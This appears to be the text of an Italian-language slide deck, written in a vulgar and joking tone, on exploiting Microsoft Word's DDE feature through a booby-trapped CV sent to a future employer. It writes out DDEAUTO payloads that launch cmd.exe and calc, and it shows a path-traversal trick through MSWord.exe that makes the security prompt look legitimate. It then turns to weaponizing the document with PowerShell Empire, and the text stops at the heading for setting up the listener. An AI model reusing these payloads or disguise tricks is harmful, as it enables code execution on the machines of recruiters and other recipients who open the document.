EXPLOITING
MICROSOFT'S
WONTFIX
SUITE OFFICE
Funzionalità avanzate per il vostro curriculum!!1
Microsoft Word
Il migliore software per i vostri curriculum
Microsoft Word
Microsoft Dynamic Data Exchange (DDE)
Niente a che vedere con le macro (troppo facile)
Microsoft Word
Microsoft Dynamic Data Exchange (DDE)
IN BREVE
NA CACATA PER LO SCAMBIO DI DATI FRA APPLICAZIONI
Microsoft Word
Microsoft Dynamic Data Exchange (DDE)
SINTASSI TIPICA:
{ DDEAUTO Excel "lavori.xlsx" soldi }
DDETYPE APP "FILE" "CAMPO"
Microsoft Word
Microsoft Dynamic Data Exchange (DDE)
SINTASSI CHE CI PIACE:
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }
COSA SUCCEDE SE USIAMO QUESTA DDE? PROVIAMOLO INSIME!!
Microsoft Word
Microsoft Dynamic Data Exchange (DDE)
DUE PROMT PER POSSEDERTI
1
2
Microsoft Word
Microsoft Dynamic Data Exchange (DDE)
IL SECONDO PROMPT NON E' BELLO POSSIAMO FARE DI MEGLIO!
miglioriamo la DDE del nostro curriculum!
Porcodio si vede cmd.exe eh!
Microsoft Word
Microsoft Dynamic Data Exchange (DDE)
LE PATH QUELLE BELLE!
C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\calc.exe
Microsoft Word
Microsoft Dynamic Data Exchange (DDE)
UNA DDE PLAUSIBILE PER IL FUTURO DATORE DI LAVORO
{ DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe /c calc" "for security reasons"}
BEH ORA CI CHIEDE SE VOGLIAMO FAR PARTIRE MSWORD.EXE PARE LEGITTIMO E LO E'!
Microsoft Word
Microsoft Dynamic Data Exchange (DDE)
SI BELLO, MA CHE ME NE FACCIO DI UNA CALCOLATRICE?
WEAPONIZZIAMOLO COME PIACE DIRE A QUALCUNO!
Microsoft Word
DOCUMENT PAYLOAD!
METASPLOIT? METERPRETER?
nahhhh siete dei vecchi demmerda!!!
Microsoft Word
DOCUMENT PAYLOAD!
DA OGGI PER LA POST EXPLOITATION! SI USA
POWERSHELL EMPIRE!!1
l33tz h4x000000red!!
Microsoft Word
CONFIGURIAMO L'ASCOLTATORE (LISTENER)